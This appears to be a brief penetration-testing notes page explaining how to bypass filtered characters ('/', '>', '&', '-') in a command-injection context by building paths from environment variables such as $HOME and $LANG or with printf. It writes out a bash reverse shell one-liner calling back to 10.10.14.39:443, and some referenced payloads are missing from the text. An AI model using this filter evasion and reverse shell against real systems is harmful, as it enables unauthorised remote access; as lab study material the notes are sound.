Using ENV to escape Bad Characters
Characters '/ > & -' are not processed. But we want a reverse tcp one liner. We can workaround these characters using the following methods
Last updated
Characters '/ > & -' are not processed. But we want a reverse tcp one liner. We can workaround these characters using the following methods
Last updated
Basically our reverse shell command /bin/bash -i >& /dev/tcp/10.10.14.39/443 0>&1 will not be executed successfully as / characters are being replaced. How do we get around this?
If Env contains a variable we can use. For example, the / character is being escaped during our exploitation phase to get a reverse shell.
Looking at the above Env values We can replace '$(HOME)' with /
And format the '$LANG' variable as such IN NON-BSD:
But If the OS is BSD format so we are not able to format it like above, instead we use linux printf
We can test out we will print out a reverse shell command with replaced badcharacters
For this example, since the full payload will be URI encoded, the space characters will be encoded as '+'. The reverse shell payload will now be
Which converts successfully to the reverse shell command that was not working previously
